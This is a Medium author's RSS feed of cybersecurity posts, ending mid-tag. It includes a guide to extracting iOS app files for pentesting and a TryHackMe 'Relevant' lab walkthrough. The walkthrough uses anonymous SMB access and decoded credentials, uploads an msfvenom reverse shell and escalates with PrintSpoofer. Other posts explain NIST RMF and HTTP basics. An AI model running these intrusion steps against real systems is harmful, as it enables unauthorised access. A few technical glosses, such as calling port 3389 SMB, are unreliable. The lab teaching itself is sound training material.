<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Madushan perera on Medium]]></title>
        <description><![CDATA[Stories by Madushan perera on Medium]]></description>
        <link>https://medium.com/@madushan-perera?source=rss-f4ffe469ec4a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eeK0kzbDUMWyUSrtERXy1Q.gif</url>
            <title>Stories by Madushan perera on Medium</title>
            <link>https://medium.com/@madushan-perera?source=rss-f4ffe469ec4a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 18:40:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@madushan-perera/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to Get the IPA File of an App Store Application for Penetration Testing]]></title>
            <link>https://madushan-perera.medium.com/how-to-get-the-ipa-file-of-an-app-store-application-for-penetration-testing-20089269f1ee?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/20089269f1ee</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Wed, 19 Mar 2025 05:17:33 GMT</pubDate>
            <atom:updated>2025-03-19T05:17:33.586Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wY-4p69WhBIbkXu4tVg12w.png" /></figure><p>An IPA (iOS Application Archive) file is the packaged format used for iOS applications. Ethical hackers and security researchers often need to extract IPA files to perform penetration testing, analyze vulnerabilities, and reverse-engineer applications. Due to Apple’s strict security policies, obtaining an IPA file directly from the App Store requires specific methods.</p><h3>Methods to Get an IPA File for Penetration Testing</h3><h3>1. Using Apple Configurator (Mac Only)</h3><p>Apple Configurator allows downloading IPA files directly to a Mac.</p><p><strong>Steps:</strong></p><ol><li>Download and install <a href="https://apps.apple.com/us/app/apple-configurator-2/id1037126344?mt=12"><em>Apple Configurator</em></a> on your Mac.</li><li>Connect your iOS device via USB.</li><li>Sign in with your Apple ID (same as the App Store account).</li><li>Search for the target application and install it on your device.</li><li>Right-click on the app in Apple Configurator and choose “Export IPA.”</li><li>Save the IPA file on your Mac for further analysis.</li></ol><h3>2. Using iMazing (No Jailbreak Required)</h3><p>iMazing allows extracting IPA files from an iOS device backup.</p><p><strong>Steps:</strong></p><ol><li>Download and install <a href="https://imazing.com/">iMazing</a> on your Mac or Windows PC.</li><li>Connect your iPhone via USB and trust the device.</li><li>Navigate to “Apps” and locate the target application.</li><li>Click “Manage Apps” &gt; “Library” &gt; “Download to Library.”</li><li>Extract the IPA file from the backup.</li></ol><h3>3. Using a Jailbroken iOS Device</h3><p>A jailbroken iPhone provides more flexibility for extracting IPA files and performing penetration testing.</p><p><strong>Tools Required:</strong></p><ul><li>Filza File Manager</li><li>AppAdmin (AppAdmin is useful in the context of penetration testing and IPA extraction on jailbroken devices because it allows users to <strong>downgrade and download older versions</strong> of apps directly from the App Store.)</li><li>Frida (for dynamic analysis)</li><li>Objection (for bypassing protections)</li></ul><p><strong>Steps:</strong></p><ol><li>Jailbreak your device using tools like unc0ver or checkra1n.</li><li>Install Filza from Cydia/Sileo.</li><li>Locate the installed app’s folder at /var/containers/Bundle/Application/</li><li>Copy the .app folder and package it as an IPA using iOS App Signer</li><li>Use tools like Frida and Objection to analyze the application.</li></ol><p>Extracting an IPA file for penetration testing is a crucial step in assessing iOS application security. The method chosen depends on device limitations — Apple Configurator and iMazing are safer options, while jailbreaking offers more flexibility. AppAdmin is especially useful for acquiring older, vulnerable versions of applications.</p><p>Always ensure <strong>ethical</strong> and <strong>legal</strong> considerations when conducting security research.</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20089269f1ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Non-U.S. Stakeholders Should Prioritize Understanding the NIST RMF]]></title>
            <link>https://madushan-perera.medium.com/why-non-u-s-stakeholders-should-prioritize-understanding-the-nist-rmf-434690278de9?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/434690278de9</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Tue, 09 Jan 2024 15:12:43 GMT</pubDate>
            <atom:updated>2024-01-09T15:27:06.232Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*hCdp0bdiwpIa0sv8ykRuYQ.jpeg" /></figure><p>The National Institute of Standards and Technology&#39;s (NIST) <strong>Risk Management Framework</strong> (RMF) is a set of guidelines and processes designed to help organizations manage and mitigate cybersecurity risks. While it is primarily implemented in the USA, individuals from other nationalities may find it valuable for several reasons:</p><h4>Global Interconnectedness</h4><p>In today’s interconnected world, cyber threats are not confined by borders. Cyberattacks can have global implications, affecting individuals, organizations, and governments worldwide. Studying the NIST RMF can provide insights into effective risk management practices that can be applied universally.</p><p><em>Example: The WannaCry Ransomware Attack (2017). The WannaCry attack targeted vulnerabilities in Microsoft Windows systems globally. It affected organizations in over 150 countries, highlighting the borderless nature of cyber threats. Studying the NIST RMF could provide insights into managing such widespread threats universally.</em></p><h4>International Standards Alignment</h4><p>The NIST RMF aligns with international standards and frameworks, such as ISO/IEC 27001 and COBIT. By studying the NIST RMF, individuals from other nationalities can gain a comprehensive understanding of common cybersecurity principles and practices, facilitating alignment with global standards.</p><p><em>The General Data Protection Regulation (GDPR) in the EU aligns with international data protection standards. Studying the NIST RMF can help individuals globally understand common cybersecurity principles, contributing to GDPR compliance and alignment with global standards.</em></p><h4>Benchmark for Best Practices</h4><p>The NIST RMF is recognized for its thorough and systematic approach to cybersecurity risk management. By studying it, individuals can gain insights into best practices that may be applicable and adaptable to their own national or organizational context, promoting effective risk management strategies.</p><h4>Cybersecurity Collaboration</h4><p>In an era of global cyber threats, collaboration among nations is essential for combating cybercrime and enhancing cybersecurity. Understanding the NIST RMF can contribute to better communication and collaboration between cybersecurity professionals from different countries, fostering a more secure global digital environment.</p><p><em>Example: Stuxnet Attack (2010)</em></p><p><em>Stuxnet was a sophisticated cyber weapon targeting Iran’s nuclear program. International collaboration was crucial in analyzing and responding to this global threat. Understanding the NIST RMF can foster better communication and collaboration in addressing similar international cyber threats.</em></p><h4>Transparency and Trust</h4><p>Organizations that implement the NIST RMF demonstrate a commitment to transparency and accountability in managing cybersecurity risks. Studying and adopting similar frameworks can enhance trust and confidence among international stakeholders, promoting a culture of responsible and secure digital practices.</p><h4>Educational and Professional Development</h4><p>Many cybersecurity professionals, regardless of nationality, pursue certifications and training related to widely recognized frameworks like the NIST RMF. This not only enhances their knowledge but also contributes to a standardized skill set that is valuable in a global context</p><p><em>CISSP is a globally recognized certification in information security. Studying the NIST RMF contributes to a standardized skill set, enhancing the professional development of cybersecurity experts pursuing certifications like CISSP.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=434690278de9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Relevant — Walkthrough]]></title>
            <link>https://madushan-perera.medium.com/tryhackme-relevant-walkthrough-6e7c83def069?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e7c83def069</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Mon, 18 Dec 2023 16:14:47 GMT</pubDate>
            <atom:updated>2023-12-18T16:14:47.222Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Relevant — Walkthrough</h3><p>I hope this walkthrough will be useful to you as you navigate through the Mayor’s Relevant box, which is accessible on TryHackMe. This Windows box presents an intermediate-level challenge with a lighthearted element, and anyone with access to TryHackMe can attempt to exploit it. Relevant is a Windows machine that is using a misconfigured SMB. I trust you’ll find this walkthrough both informative and entertaining!</p><p><a href="https://tryhackme.com/room/relevant">https://tryhackme.com/room/relevant</a></p><p><strong>Note: This room is Free</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FbKGc1Lt8RlvmtXAZn-_bQ.jpeg" /></figure><h3>Reconnaissance</h3><p>Reconnaissance is like the detective work of cyberspace. It’s the first step when you’re checking out a system or network to see what’s what.</p><h4>port scanning</h4><p>I began by running a port scan against the machine to find out what services were running. So, I’m going to perform a full port scan using <strong>Nmap </strong>to identify open ports.</p><p>Here, simply execute the following command:</p><pre>nmap -A -sV -sC -T4 -p- --defeat-rst-ratelimit &lt;victim IP address&gt;</pre><p>This command incorporates script scanning, SYN scanning, service version detection, and other functions to provide a comprehensive analysis of the specified IP address.</p><p>Certainly! Let’s break down the provided Nmap command:</p><ul><li>-<em>A : Attempts to determine service version information</em></li><li><em>-sV : Attempts to determine service version information</em></li><li><em>-sC : Performs default script scanning</em></li><li><em>-T4 : Sets the timing template to aggressive, indicating a faster scanning speed</em></li><li><em>-p- : Scans all 65535 ports (equivalent to -p 1–65535)</em></li><li><em>— defeat-rst-ratelimit : Attempts to defeat TCP reset rate-limiting</em></li></ul><p><strong>Note: Since I am running Kali on a virtual machine with NAT, I have set the options -T4 and --defeat-rst-ratelimit to scan more quickly. However, it is not required.</strong></p><p>After waiting for a while, I have gotten results as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjTVc1udle6l5goUweJwPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*w8lmIidgngxrOuAVJKPYDQ.png" /></figure><p>It’s interesting to notice that there is an HTTP server running on port 80. When we visit the web server, the default Microsoft IIS page appears:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O7zwQmKoa0nXGoaO12y0pA.png" /></figure><p>Let’s try to enumerate sub-directories by using <strong>gobuster</strong>.</p><p>Here, simply execute the following command:</p><pre>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u &lt;room vm ip here&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*Tn82WmfRHaArUtZ-VydwDQ.png" /></figure><p>Unfortunately, I couldn’t find anything based on the results. Alright, let’s move on then.</p><h3>Enumerating SMB</h3><p>The Nmap results reveal several open ports: 80 and 443 for HTTP(S), 135 for RPC, and 139, 445, and 3389 for SMB. Let’s kick off our enumeration process with a focus on SMB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*0Jbk8csPj2R7aCjeuyYLWw.png" /></figure><p>It looks like a non-standard “nt4wrksv” share is enabled on the machine.</p><p>Then I carried out a second Nmap scan to look for any known SMB service vulnerabilities. The “smb-vuln-msxx-xxx” scripts from Nmap can be used to check the SMB service for vulnerabilities that are accessible to the public.</p><p><strong>Note: “Using Components with Known Vulnerabilities” is indeed one of the categories in the OWASP Top Ten list.</strong></p><p>Ok. Cool…. Then I’m going to try to use thesmbclient command to connect to a remote server with the machine IP address and a share named &quot;nt4wrksv&quot; using the Server Message Block (SMB) protocol.</p><p>You can execute the following command:</p><pre>smbclient \\\\&lt;Victim Ip&gt;\\nt4wrksv</pre><p>Fantastic. I have the ability to connect to the server even without passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*tZVP4giP6IB0xA30wGoE3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*765857AwMksCsIS8CQDJ-A.png" /></figure><p>I am attempting to insert something to verify whether a reverse shell can be established.</p><p>Then I am going to get the txt file and further enumerate it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*MX2h1mvZrCsDFmPO0G5Cuw.png" /></figure><p>After observing the password.txt file, we can see that there are two base64-encoded strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*dEtvZgo8xF6UBHDsTWGPww.png" /></figure><p>Now, I’m going to decode those two strings.</p><p>The Base64 decoding command is as follows:</p><pre>echo -n &#39;Your String&#39; | base64 -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*8NkY4bVGhLh-v20p3yeAwg.png" /></figure><p>I got both passwords for <strong>Bob </strong>and <strong>Bill</strong>.</p><p>The user credentials were obtained. In order to determine whether there is a vulnerable server, I will perform another nmap scan.</p><p>Command and result as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*KQY6xULVFNJRqQGM3ZOZoQ.png" /></figure><p>As per the Nmap result, the Samba server is probably vulnerable to RCE due to CVE-2017-0143. Therefore, I’m going to exploit this machine by using this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtMhDzylk7jJEj6LGiN_IA.png" /></figure><p>I have delved deeper into the CVE by referencing the Exploit Database, and it appears to be associated with the EternalBlue exploit available on Metasploit.</p><h3>Exploitation</h3><p>Let’s use <strong>msfvenom </strong>to create a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*nyco1_I0J8mqrQUI4tCSPQ.png" /></figure><p>The reverse shell file should be uploaded to the network share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*IJgIuxmcfxSBi05_1wqfFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*yMkKshB1N9viCPYybPzJtA.png" /></figure><p>Then you can create a listener on the attacker’s machine by using metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*cVpCMCZA7a8ZXwzmo6xM4Q.png" /></figure><p>Entering the reverse shell, we locate the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*Z4urk6gKA2ItxWTG1cG-nw.png" /></figure><h3>Privilege Escalation</h3><p>After we have secured the first flag, let us investigate possible avenues for privilege escalation. To see the privileges of the current session, use Meterpreter’s “getprivs” command. Take particular note of the existence of “SeImpersonatePrivilege”</p><p><strong>Note: Privilege escalation is the process of gaining higher levels of access or permissions on a system than originally granted, often to exploit vulnerabilities and increase control over the system.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*TaYIfDQGOSFjJ1dBbIWoyg.png" /></figure><p>To perform privilege escalation using ‘SeImpersonatePrivilege,’ we can use <strong>PrintSpoofer</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*25_B0kBP-gbMclzKuggaAg.png" /></figure><p>After uploading the executable file, you can gain access to Meterpreter, enabling you to open a shell and execute commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*-V-yQgjK_WWdyZtF6xXq3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*xU0rlbzfhoGE4d3Z8EYzAA.png" /></figure><p>Execute the uploaded executable (exe) file and explore privilege escalation possibilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*3_BqzsPKHJei5Cv89BywDA.png" /></figure><p>Now, with ease, we can locate the “root.txt” file in the desktop folder inside the Administrator’s directory, concatenate its contents, and successfully obtain the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*BtUHYkIMVMGJzaCnA5mXag.png" /></figure><p>I hope you enjoyed it. Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e7c83def069" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Headers: Extra pieces of Information]]></title>
            <link>https://madushan-perera.medium.com/http-headers-extra-pieces-of-information-eb63b7063ab2?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb63b7063ab2</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Mon, 13 Mar 2023 14:02:31 GMT</pubDate>
            <atom:updated>2023-03-15T01:24:33.164Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O3Tcn8-dXUprmgj2lcnh3Q.png" /></figure><h4>What are HTTP headers?</h4><p>When making requests, headers are extra pieces of information you can provide to the web server, such as the type of content being sent, the length of the content, the language of the content, and other important details.</p><h4>Do HTTP headers consist of a name-value pair?</h4><p>Yes, HTTP headers consist of a name-value pair, where a colon separates the name and value. The name identifies the specific header being sent, such as “Content-Type” or &quot;Authorization.&quot; The value provides additional information about that header, such as the MIME type of content or the authentication credentials being used. Multiple headers can be sent in a single HTTP request or response, with each header consisting of a separate name-value pair.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*5BUwM1ME6B4YA6JprNSXtg.png" /></figure><h4>HTTP headers are divided into four categories.</h4><p>Request headers: Client to Server</p><p>Response headers: Server to Client</p><p>Representation headers: Information about the body of the resource</p><p>Payload headers: Information about the payload data</p><h3>Request headers</h3><p>Request headers are used to provide additional information about a client’s request to a server.</p><p>Here are some common examples of request headers.</p><h4><strong>Accept</strong></h4><p>This header is used when a client wants to inform the server about the type of data that the client can understand.</p><p>example: <strong>[Accept: image/png]</strong></p><h4><strong>Authorization</strong></h4><p>This header is used to send credentials, such as a username and password, to the server for authentication.</p><p>ex: <strong>[Authorization: Basic TWFkdXNoYW46Rm9sbG93IU15TWVkaXVt]</strong></p><p>In this example, the value of the Authorization header is a base64-encoded string that contains the username and password, separated by a colon. <strong><em>Decoding that string will also be more interesting!</em></strong></p><h4>Accept-Language</h4><p>This header tells the server which language the client prefers for the response.</p><p>ex: <strong>[Accept-Language: en-US,en;q=0.9,fr;q=0.8,es;q=0.7]</strong></p><h4>User-Agent</h4><p>This header provides information about the client software, including the operating system and browser being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JP7kTJoBIS5aRsdsyy5MuQ.png" /></figure><h4>Accept-Encoding</h4><p>This header is usually attached to a request to the server, indicating which encoding method is understandable by the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*bckwQG--JcXiWjGHX5-DTQ.png" /></figure><h3>Response headers</h3><p>Response headers are used to provide additional information about a server’s responses to the client.</p><p>Here are some common examples of response headers.</p><h4>Cache-Control</h4><p>The cache-control response header is used to specify directives for caching mechanisms in both requests and responses. It is a standard HTTP header that allows the server to control how the response should be cached, and how long it should be cached for.</p><p>The Cache-Control header can have several directives, including:</p><ol><li>max-age: Specifies the maximum time (in seconds) that the response can be cached by the client.</li><li>no-cache: Instruct the client to revalidate the response with the server before using it.</li><li>no-store: Instruct the client not to store any part of the response.</li><li>must-revalidate: Requires the client to revalidate the response with the server on every request.</li><li>public: Allows the response to be cached by any cache, including intermediate caches.</li><li>private: Allows the response to be cached by the client only.</li><li>no-transform: Instruct intermediaries not to modify the response content.</li></ol><p>The Cache-Control header is an essential tool for optimizing the performance and reliability of web applications. By using appropriate caching directives, developers can ensure that responses are delivered quickly and reliably, while also ensuring that sensitive or dynamic content is not cached improperly.</p><h4>Content-Type</h4><p>: Application/ json</p><p>This header indicates that the response body contains JSON data.</p><h4>Server</h4><p>: Apache/2.4.41 (Ubuntu) This header indicates the server software and version being used to generate the response.</p><h3>Representation headers</h3><p>In HTTP responses, representation headers are used to inform the client about the representation of a resource being delivered. A representation header can be used to describe the format, encoding, language, or version of the resource, among other things.</p><h3>Payload headers</h3><p>Payload headers refer to the part of a data packet that contains information about the actual data being transmitted. The header typically includes information such as the source and destination IP addresses, the protocol being used (ex-: TCP, UDP), and other control information. In the case of HTTP (Hypertext Transfer Protocol), the payload header contains information such as the request method (ex-: GET, POST), the URI (Uniform Resource Identifier) of the requested resource, and other metadata related to the request or response.</p><p>Overall, the payload header is an essential component of data transmission as it provides the necessary information for the network to correctly route and process the data.</p><h3>Next&gt;&gt;&gt; HTTP Security Headers</h3><p>HTTP security headers are a set of HTTP response headers that can be used to enhance the security of web applications. These headers provide additional information to web browsers and other user agents to help protect against various types of attacks, including cross-site scripting (XSS), clickjacking, and content injection.</p><p>I will discuss this in the next article.</p><p>Follow me for more &amp; Keep getting in touch with me!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb63b7063ab2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Cookies: How Websites Track Our online Activities]]></title>
            <link>https://madushan-perera.medium.com/http-cookies-how-websites-track-our-online-activities-c89f7ee312d9?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c89f7ee312d9</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Thu, 23 Feb 2023 09:42:55 GMT</pubDate>
            <atom:updated>2023-03-13T14:03:40.050Z</atom:updated>
            <content:encoded><![CDATA[<p>Have you ever noticed that after visiting a website, you keep seeing advertisements or suggestions for content linked to that website? Or have you ever logged into a website and observed that you remain logged in even after you’ve closed your browser? These are all instances of websites tracking your online behavior using HTTP cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lby00-Wom3ENJzI5o-jElw.png" /></figure><p>In this article, I’ll take a closer look at HTTP cookies to learn more about what they are, how they work, and what they’re used for.</p><p>When a user visits a website, a web server places a small text file on their computer known as an HTTP cookie, also called a web cookie. These cookies are used to track user behavior and preferences, provide personalized content, and enable various website features.</p><p>For example, online shopping websites utilize cookies to track a user’s shopping cart and their shopping behavior.</p><h3>Cookie issuance process.</h3><ol><li>The client sends a request to the server for a web page.</li><li>The server responds to it and sends the cookie information to the Set-Cookie Header along with the web page. In addition, the cookie expiration period (Expires) and effective range (domain, path), value, expiry time, and some other information are supplied.</li><li>When the Set-Cookie header is received by the user’s browser, the cookie is stored on the user’s device. (The website can then personalize the user’s experience or maintain the user’s login state by including the cookie in subsequent requests made by the browser to the website.)</li><li>When the user makes further website requests, The browser will add the cookie in the request headers. This enables the website to identify the user and provide customized content or keep the user’s session state.</li><li>A cookie is destroyed from the user’s device when it expires or is manually deleted by the user</li></ol><h3>Advantages of HTTP Cookies</h3><h4>Authentication</h4><p>Cookies can be used to verify users’ identities and store their login information so they don’t have to enter it each time they visit a website.</p><h4>Personalization</h4><p>Cookies can be used to save user settings and preferences, including language and display preferences. This enhances customers’ overall user experience by enabling websites to offer them a customized experience depending on their preferences.</p><h4>Management of user sessions</h4><p>Cookies can be used to manage user sessions, enabling websites to monitor user behavior and retain session data like the contents of a user’s shopping cart or the pages they have viewed.</p><h4>For online shopping carts</h4><p>Items that a user has put in their shopping cart on an e-commerce website can be stored in cookies. This enables customers to keep shopping and come back to their cart later without losing their chosen products.</p><h4>Login management</h4><p>Users can transition between devices without having to log in again by using cookies, which can be used to manage user logins across several devices.</p><p><em>HTTP cookies are a valuable tool for both website owners and users, providing a variety of benefits that aid in improving the user experience, tracking user activity, and optimizing website speed. However, its use raises some security concerns as well.</em></p><h3>Security issues of HTTP cookies</h3><h4><strong>User impersonation</strong></h4><p>The key risk with unprotected cookies is user impersonation.</p><p>One possible scenario is where an attacker physically accesses a user’s device and then uses the cookies that have been saved to the device to impersonate the user on different websites. This can occur if the user does not have password protection or other security measures in place to protect their device.</p><h4>Session hijacking</h4><p>In session hijacking attacks, an attacker steals a user’s session ID or authentication token, which can allow them to impersonate the user and gain unauthorized access to sensitive information.</p><h4>Information leakage</h4><p>Cookies can also store sensitive information, such as login credentials or personal data, which can be accessed by an attacker if the cookie is stolen or compromised.</p><h4>Cross-site scripting (XSS) attacks</h4><p>Attackers can insert malicious code into a web page using XSS attacks, which can then be used to steal user cookie data. The attacker can assume the user’s identity or gain unauthorized access to confidential information if they have access to the cookie data.</p><h3>Mind Map — HTTP cookies</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NE2V5fcCnjqw5vuvbccuDQ.png" /></figure><h3>Next&gt;&gt;&gt; HTTP Headers</h3><p>In the next article, I will be discussing <strong>HTTP headers</strong>.HTTP headers are also an important part of the HTTP protocol used for communication between web servers and web clients, such as browsers.</p><p><a href="https://madushan-perera.medium.com/http-headers-extra-pieces-of-information-eb63b7063ab2">https://madushan-perera.medium.com/http-headers-extra-pieces-of-information-eb63b7063ab2</a></p><p>Follow me for more &amp; Keep getting in touch with me!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c89f7ee312d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Diving into the HTTP]]></title>
            <link>https://madushan-perera.medium.com/diving-into-the-http-protocol-519df10b28e9?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/519df10b28e9</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Tue, 14 Feb 2023 08:40:04 GMT</pubDate>
            <atom:updated>2023-02-24T05:49:57.406Z</atom:updated>
            <content:encoded><![CDATA[<p>Understanding the Fundamentals and Benefits of the Hypertext Transfer Protocol and how it works</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQguunre4EAnq6tYwoCfUg.jpeg" /></figure><h3>What is the HTTP?</h3><p>HTTP is an abbreviation for <strong>Hypertext Transfer Protocol</strong>. It is a communication protocol used for data transmission on the World Wide Web (WWW). It is a <strong>client-server protocol</strong>, which means that a client (such as a web browser) requests resources or information from a server (such as a web server), and the server responds to the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*opk9zEjKKvT1F-6VcQoFyg.jpeg" /><figcaption><strong>client-server communication</strong></figcaption></figure><p><strong>Note</strong>: The HTTP (Hypertext Transfer Protocol) protocol primarily operates at the <strong>Application layer </strong>(layer 7) of the OSI (Open Systems Interconnection) model. However, it also makes use of lower-layer protocols such as TCP (Transmission Control Protocol) at the Transport layer (Layer 4) and IP (Internet Protocol) at the Network layer (Layer 3) for data transmission across the network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*zTaIBxA5PNAvUpGbJtK5AA.png" /><figcaption>OSI model with protocols</figcaption></figure><h3>HTTP is a connectionless protocol?</h3><p>Yes, HTTP is a connectionless protocol because it works on a request-response basis, with each request and response treated as a separate transaction. This means that the server treats each request from the client as a separate connection, and the server does not maintain a continuous connection to the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*5RFKaw0WWHEBmXExBV_VhA.jpeg" /><figcaption><strong>Difference between Connection-oriented and Connection-less protocols</strong></figcaption></figure><h3>HTTP is a stateless protocol?</h3><p>Yes, HTTP is a stateless protocol, which means it doesn’t keep track of previous requests or responses. Each client request to a server is treated as a separate transaction, and the server has no way of knowing if the current request is related to any previous requests.</p><h3>How HTTP works?</h3><p>Initially, the client sends an HTTP request to the server, specifying the type of action it wants to take, such as retrieving a web page and sending data to the server. The request includes information such as the URL of the requested resource, the HTTP method (such as GET or POST), and any additional data or headers required for the specific request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*Hy0pok8hPBMe6kCJVlU9KQ.png" /><figcaption>Example of HTTP request</figcaption></figure><p>The server receives the HTTP request and processes it. If the requested resource exists on the server, it sends back an HTTP response.</p><p>The response includes a status code, which indicates the result of the request, such as success (200 OK) or failure (404 Not Found), and any data or resources requested by the client. The response may also include additional information, such as headers, that provide additional context or information about the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*l5K_kfcowwi76zYs8yk3tQ.png" /><figcaption>Example of HTTP response</figcaption></figure><p>The client receives the HTTP response and processes the data or resources returned by the server.</p><p>This cycle of request-response can occur multiple times between the client and server as they exchange information and resources.</p><h3>HTTP Request: types of HTTP requests</h3><p>There are several types of HTTP requests, each with a specific purpose and use case. The most commonly used types of HTTP requests are GET, POST, HEAD, PUT, DELETE, CONNECT, and OPTIONS. Understanding the different types of HTTP requests is essential for working with HTTP and building web applications.</p><p><strong>GET</strong>: The most commonly used HTTP request method, GET requests to retrieve data from a server. GET requests are used to retrieve a web page, images, videos, and other resources from a server. They are typically used to retrieve information and are the most common type of HTTP request.</p><p><strong>POST</strong>: POST requests send data to a server. They are used to submit forms, upload files, and send data to a server for processing. Unlike GET requests, POST requests are not cached or stored by the browser, and the data sent with a POST request is not visible in the URL.</p><p><strong>HEAD</strong>: Head requests are similar to GET requests, but they only retrieve the headers of a response, not the actual resource. Header requests are useful for checking the status of a resource without downloading the entire resource.</p><p><strong>PUT</strong>: PUT requests to update an existing resource on a server or create a new resource if it doesn’t exist. PUT requests are typically used to upload files or update resources on a server.</p><p><strong>DELETE</strong>: DELETE requests to delete a resource on a server. They are used to remove resources or data that are no longer needed.</p><p><strong>CONNECT</strong>: Connect requests are used to establish a secure connection to a server, typically for the purpose of establishing a secure connection to a proxy server.</p><p><strong>OPTIONS</strong>: OPTIONS requests are used to retrieve information about the communication options available for a resource. They are typically used to retrieve information about the allowed methods and the communication options for a resource.</p><h3>Basic Mind Map — HTTP protocol</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*uuhoSTbVB8FRlsfMWTrcDA.png" /></figure><h3><strong>Next&gt;&gt;&gt; HTTP Cookies</strong></h3><p>In the next article, I will be discussing <strong>HTTP Cookies</strong>. Cookies are small text files stored on a user’s device by a website, and they are used to store information about a user’s preferences, login credentials, and browsing history. HTTP cookies play a crucial role in maintaining state and providing a personalized experience for users on the internet. They are also used for tracking and analytics purposes. In the next article, I will discuss how HTTP cookies work, the types of cookies, and the benefits and drawbacks of using cookies.</p><p>Read more about HTTP Cookies : <a 